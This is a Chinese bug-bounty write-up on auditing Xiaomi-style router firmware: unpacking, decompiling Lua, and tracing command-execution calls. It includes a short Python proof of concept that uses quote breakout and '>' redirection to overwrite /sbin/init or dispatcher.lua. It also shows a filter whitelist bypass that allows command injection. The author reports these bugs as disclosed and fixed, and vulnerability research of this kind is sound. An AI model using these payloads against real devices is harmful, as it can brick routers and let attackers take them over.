前言 去年年中开始接触IOT设备的漏洞挖掘, 之后有几个聊胜于无的产出, 但没啥变现机会, 大概是去年的国庆前后, 一位学长告诉我某米SRC最近有活动, 可以多看看这家路由器
某米大概是国内少有的愿意给该类漏洞支付赏金并且出手大方 的厂商了, 早在之前其实就有看过他家的设备, 不过当时只是为了复现漏洞, 没啥能力也没有想法深入挖挖
在学长提醒之后, 就开始了这次的漏洞挖掘, 某米的设备采用的是魔改的openwrt框架, 仅开放了少数几个未授权接口, 这几个接口在前些年爆出过危害性高的漏洞, 一波修复之后, 看不出来有什么问题, 再加上菜菜, 主要挖掘的方向还是挖掘难度耕地而且危害也不那么高的授权接口
好在运气还行, 找到了几个危害不大的水洞, 某米给钱大方加之活动加成(投递漏洞忘记参加活动了, 感谢开恩的技术小哥orz), 也算是小挣一笔, 距离漏洞提交已经过了大半年, 看了一下最新版本漏洞已经修复了, 跟大家分享一下漏洞挖掘的经验
关于固件 某米路由器的固件大多可以在MiWiFi – 下载 找到, 不过不一定是最新版本
固件采用的是ubifs, 没有加密, 直接用ubireader + unsquashfs
就能解开
openwrt框架下cgi的主要逻辑在usr/lib/lua/luci/controller/
目录下, 此外还有一个某米自己常用的库在路径usr/lib/lua/xiaoqiang/
, 我们关注的主要也就是这两部分
直接打开其中的.lua文件发现是编译后luac文件, 且是魔改后的luac, 那么还需要对其进行反编译, 好在github上已经有许多工具了, NyaMisty/unluac_miwifi 是其中很不错的一个
反编译的结果其实已经能够大致阅读了, 不过现在ai这么普遍, 可以再借助ai进一步还原反编译结果的可读性
直接结果
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 function L4 () local L0, L1, L2, L3, L4, L5, L6, L7, L8, L9, L10, L11, L12, L13, L14, L15 L0 = require L1 = "xiaoqiang.common.XQFunction" L0 = L0(L1) L1 = require L2 = "luci.cbi.datatypes" L1 = L1(L2) L2 = {} L3 = 0 L4 = _UPVALUE0_ L4 = L4.formvalue L5 = "mac" L4 = L4(L5) L5 = _UPVALUE0_ L5 = L5.formvalue L6 = "wan" L5 = L5(L6) L5 = L5 or L5 L6 = _UPVALUE0_ L6 = L6.formvalue L7 = "lan" L6 = L6(L7) L6 = L6 or L6 L7 = _UPVALUE0_ L7 = L7.formvalue L8 = "admin" L7 = L7(L8) L7 = L7 or L7 L8 = _UPVALUE0_ L8 = L8.formvalue L9 = "pridisk" L8 = L8(L9) L8 = L8 or L8 L9 = _UPVALUE0_ L9 = L9.formvalue L10 = "name" L11 = nil L12 = "?commonstr" L9 = L9(L10, L11, L12) L9 = L9 or L9 L10 = _UPVALUE0_ L10 = L10.formvalue L11 = "option" L10 = L10(L11) L10 = L10 or L10 L11 = L0.isStrNil L12 = L4 L11 = L11(L12) if not L11 then L11 = L1.macaddr L12 = L4 L11 = L11(L12) if L11 then L11 = _setMacFilter L12 = L4 L13 = L9 L14 = L10 L15 = L5 L11 = L11(L12, L13, L14, L15) L3 = L11 end else L3 = 1508 end L2.code = L3 if L3 ~= 0 then L11 = _UPVALUE1_ L11 = L11.getErrorMessage L12 = L3 L11 = L11(L12) L2.msg = L11 end L11 = _UPVALUE0_ L11 = L11.write_json L12 = L2 L11(L12) end setMacFilter = L4
ai恢复可读性
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 function setMacFilter () local XQFunction = require ("xiaoqiang.common.XQFunction" ) local datatypes = require ("luci.cbi.datatypes" ) local result = {} local mac = _UPVALUE0_.formvalue("mac" ) local wan = _UPVALUE0_.formvalue("wan" ) or "" local lan = _UPVALUE0_.formvalue("lan" ) or "" local admin = _UPVALUE0_.formvalue("admin" ) or "" local pridisk = _UPVALUE0_.formvalue("pridisk" ) or "" local name = _UPVALUE0_.formvalue("name" , nil , "?commonstr" ) or "" local option = _UPVALUE0_.formvalue("option" ) or "" local code = 0 if not XQFunction.isStrNil(mac) then if datatypes.macaddr(mac) then code = _setMacFilter(mac, name, option, wan) else code = 1508 end else code = 1508 end result.code = code if code ~= 0 then result.msg = _UPVALUE1_.getErrorMessage(code) end _UPVALUE0_.write_json(result) end
效果外瑞古德
漏洞挖掘 对目标进行挖掘时, 有两篇文章给予了我莫大帮助
奇安信攻防社区-小米AX9000路由器CVE-2023-26315漏洞挖掘
Rooting Xiaomi WiFi Routers
winmt神的文章介绍的挖掘方向主要是通过lua层面的接口进入二进制层面进行漏洞挖掘
第二篇文章介绍了数个漏洞, 但主要参考其中针对早期miwifi设备并没有对\n
过滤, 进行命令注入的部分
作为没啥经验的菜鸡, 不妨先顺着前辈的思路走, 看有无漏网之鱼
尝试一 winmt神的文章已经将分析过程写得非常详细
针对该类漏洞直接在获得的各个固件文件系统去找/sbin
目录下的plugincenter
, smartcontroller
, indexservice
等文件, 拖入到ida中交叉引用命令执行函数即可
一番搜索还真在Redmi_AC2100
中找到一个
在***2100
中当访问/api/xqdatacenter/request
且用户传入的api
数值为605
时
经由thrifttunnel
与datacener
处理后
最终请求会被交付给程序/usr/sbin/plugincenter
中的接口parseUninstallPluginApi
进行处理,其目的是进行插件卸载工作
进入datacenter::PluginApiBasic::uninstallPlugin
核心是PluginManager::uninstallPlugin
函数
在该流程中并没有用户输入进行足够的合法性验证,导致用户输入被直接拼接入命令中执行,从而导致命令注入
满心欢喜提交, 可惜内部已知
尝试二 经过第一次尝试, 发现rpc调用模式下漏洞存量并不多, 且偶有产出也大概率重复(挖的人着实不少)
那么不妨将目光转向lua层, lua层接口成百上千, 且调用了大量库内容, 可挖掘内容是二进制层面的好几倍
针对iot设备常见的漏洞挖掘方式, 主要有两种
从用户可控数据流出发, 追踪数据流流经的相关处理, 判断其中是否存在危险点
批量寻找危险点, 反向分析是否能够受用户控制
在如此多接口的情况下, 显然第二种方法会更优
观察一下, 发现cgi中用于执行系统命令的方法主要有三个
1 2 3 xiaoqiang.common.XQFunction.forkExec os .execute luci.util.exec
不知道大佬有没有更好的办法, 反正我们菜鸡就是直接用文档编辑器逐个打开反编译出来的lua文件, 批量搜索这些方法的调用, 观察参数是否能够受用户控制, 也就是来自formvalue
就是这么简单粗暴, 没有一丝套路
这么在/usr/lib/lua/luci/controller/api
一通乱搜, 还真有所收获
在设备be*
中/usr/lib/lua/luci/controller/api/xqnetwork.lua
中有一个函数setNfcStatus
反编译后结果大致如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 function setNfcStatus () local xqLog = require ("xiaoqiang.XQLog" ) local uci = require ("luci.model.uci" ).cursor() local nfcUtil = require ("xiaoqiang.util.XQNfcUtil" ) local xqFunction = require ("xiaoqiang.common.XQFunction" ) local nfc_enable = LuciHttp.formvalue("nfc_enable" ) local response = {} response.code = 0 uci:set("nfc" , "nfc" , "nfc_enable" , nfc_enable) uci:commit("nfc" ) if nfc_enable == "0" then nfcUtil.nfc_disable() else nfcUtil.nfc_update() end local isMeshRe = xqFunction.isMeshRe() if isMeshRe then nfcUtil.nfc_mesh_sync_disable() else local isMeshCap = xqFunction.isMeshCap() if isMeshCap then local randomID = xqFunction.GenRandID(8 ) uci:set("nfc" , "nfc" , "config_id" , randomID) local syncData = {} syncData.cmd = "sync_nfc" syncData.nfc_enable = tostring (nfc_enable) local json = require ("luci.json" ).encode(syncData) xqLog.log (6 , "CAP call RE do action msg: " .. json) xqFunction.forkExec("/sbin/whc_to_re_common_api.sh action '" .. json .. "'" ) end end uci:commit("nfc" ) LuciHttp.write_json(response) end nfc_api = configureNFC
当满足isMeshRe==false
&&isMeshCap==true
,例如在NETMODE
为whc_cap
以及其他一些情况下
nfc_enable
由用户传入,经过json.encode
转化为json字符串
1 { "cmd" : "sync_nfc" , "nfc_enable" : "{nfc_enable}" }
最终被拼接入命令并执行
1 /sbin/whc_to_re_common_api.sh action '{"cmd":"sync_nfc","nfc_enable":"{nfc_enable}"}'
由于并没有检查nfc_enable
中的'
,所以用户可以传入单引号使得命令提前闭合
但是当尝试按照第二篇文章中提到的使用\n
进行命令注入时, 却并没有成功, 那么大概率某米在上次漏洞之后, 应该是已经将\n
加入了过滤字符中了
验证一下, 搜索formvalue
方法的定义, 找到其位于/usr/lib/lua/luci/http.lua
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 function context.request:formvalue (self, key, skipParsing) if not skipParsing and not self .parsed_input then self :_parse_input() end return key and self .message.params[key] or self .message.params end function formvalue (key, defaultValue, validator) local value = context.request:formvalue(key, defaultValue) if validator then if not _UPVALUE0_.verify(value, validator) then _UPVALUE1_.log (3 , "verify false key:" , key, " val:" , value) return nil end return value else return _UPVALUE2_.hackCheck(key, value) end end
formvalue
会根据可能存在的第三个参数进行对应的校验, 例如commonstr, numberstr
之类的
在这个函数中, 并没有使用第三个参数, 那过滤显然在于hackcheck
函数中
hakcheck
位于/usr/lib/lua/xiaoqiang/common/XQFunction.lua
反编译后在该函数上方可以找到过滤字符集
看起来没有\n
, 但仅仅只是因为反编译过程中\n
被转义了, 实际上是有的
那么现在确定了, \n
作为分隔符进行命令注入已经行不通了, 难道最终只能功亏一篑
此时在setNfcStatus
中又注意到这么一部分代码
1 2 3 4 5 6 7 8 local syncData = {} syncData.cmd = "sync_nfc" syncData.nfc_enable = tostring (nfc_enable) local json = require ("luci.json" ).encode(syncData) xqLog.log (6 , "CAP call RE do action msg: " .. json) xqFunction.forkExec("/sbin/whc_to_re_common_api.sh action '" .. json .. "'" )
由formvalue
得到的nfc_enable
本身就是字符串, 但是却又调用了一次tostring
函数
那么tostring函数会不会存在对转义字符的处理呢, 因为formvalue
并没有对\
进行过滤, 如果nfc_enable
中包含\x24
那么tostring
就会将其转义为$
等分割字符
是的确实可行, 但当我再次仿真环境, 进行测试时却依然失败了, 研究一下, 发现设备使用的lua是5.1.5
版本的, 这个版本的tostring
并没处理转义字符的能力
气!!接连得失败这次挖洞之旅就这么结束了么!!!!
既然命令注入没得法了, 但拒绝服务还是可以做到的
前面提到setNfcStatus
中执行命令时没有检查'
闭合, 在不能使用命令分割符的情况下, 还有一个特殊字符>
, 重定向符!!
提前闭合''
后, 插入>
符号, 将命令的输出重定向到任意指定路径, 覆盖可执行文件和脚本, 进行设备破坏
例如/usr/lib/lua/luci/dispatcher.lua
, /sbin/init
等
写个验证脚本
1 2 3 4 5 6 7 import requests path = "/usr/lib/lua/luci/dispatcher.lua" #path = "/sbin/init" token = "960426559944fb61fc96e9039853d36a" requests.get("http://192.168.0.8/cgi-bin/luci/;stok={}/api/xqnetwork/set_nfc_status?nfc_enable='>%20{}%20'" .format (token,path ))
攻击后结果
1 2 3 4 $cat /usr/lib/lua/luci/dispatcher.lua { "method" : "common_set" , "payload" : "{ \"action\": \"{\\\"cmd\\\":\\\"sync_nfc\\\",\\\"nfc_enable\\\":\\\"\" }" } $cat /sbin/init { "method" : "common_set" , "payload" : "{ \"action\": \"{\\\"cmd\\\":\\\"sync_nfc\\\",\\\"nfc_enable\\\":\\\"\" }" }
这个漏洞只是在/usr/lib/lua/luci/controller/api
目录下扫到的, 还有大量的处理代码位于/usr/lib/lua/xiaoqiang
/usr/lib/lua/xiaoqiang
中同样按照上面的提到的由危险函数出发, 但麻烦一点, 还要判断有漏洞的函数是否会被/usr/lib/lua/luci/controller/api
中的接口调用
扫一遍, 又发现了数个类似的漏洞, 虽然这几个漏洞没啥实际应用意义, 但某米给出了0.5k-1k
的单个价格, 且活动期间*2.5
, 如果有还是还是挺爽的
尝试三 难道这么辛苦挖一番, 最后连个命令注入都捞不到吗!!!到也不一定
之前观察formvalue
时提到其会调用hackcheck
函数进行危险字符过滤
再观察这个函数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 function hackCheck (fieldName, fieldValue) if not fieldName or not fieldValue then return fieldValue end if SENSITIVE_FIELDS[fieldName] then return fieldValue end if string .find (fieldValue, DANGEROUS_CHARS) then _UPVALUE2_.log (3 , "hackCheck match key:" , fieldName, " val:" , fieldValue) return nil end return fieldValue end
注意到
1 2 3 4 if SENSITIVE_FIELDS[fieldName] then return fieldValue end
也就是说hackcheck
的过滤是存在一个白名单的, 针对这个白名单中的值, 不进行过滤, 直接返回
向上查找, 找到白名单
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 local SENSITIVE_FIELDS = { name = true , password = true , password2g = true , password5g = true , password5g2 = true , pppoeName = true , pppoePwd = true , pwd = true , pwd1 = true , pwd2 = true , pwd3 = true , newPwd = true , service = true , ssid = true , ssid1 = true , ssid2 = true , ssid3 = true , ssid2g = true , ssid5g = true , ssid5g2 = true , username = true , apn = true , pdp = true , user = true , passwd = true , contact_phone = true , phoneList = true , msgtext = true , acs_username = true , acs_password = true , conn_username = true , conn_password = true }
也就是说formvalue
这些值时, 是不会有检查的, 那么现在要做的就是找找有没有通过formvalue
获得这些值, 之后又没有进一步检查的接口了
别说, 还真有!
在/lua/luci/controller/api/xqsystem.lua
中的setMacFilter
接口
观察setMacFilter
函数
当用户传入一个格式合法的mac地址时便会进入_setMacFilter
在进行检查mac地址数量是否超过限制与进行一些设置后又进入XQFirewall.setMacFilter
位于(/lua/xiaoqiang/module/XQFirewall.lua)
该函数会在已有的macfilters
中寻找即将处理的情况,只要避免两种不合理情况即会向下继续进行
而这两种情况都能够通过自定义传入的值进行绕过
注意到name
刚好就是一个白名单中的属性, 且最后在没有充分的检查的情况下, 就直接拼接入命令中执行, 也就造成了一个命令注入
据说在之前命令注入的单价是4k, 活动时10k, 我交的时候, 没给这么高, 但也挺不错了
End 这篇文章分享一下某米路由器漏洞挖掘时的经验, 希望对有想尝试挖一挖某米路由器的小伙伴有所帮助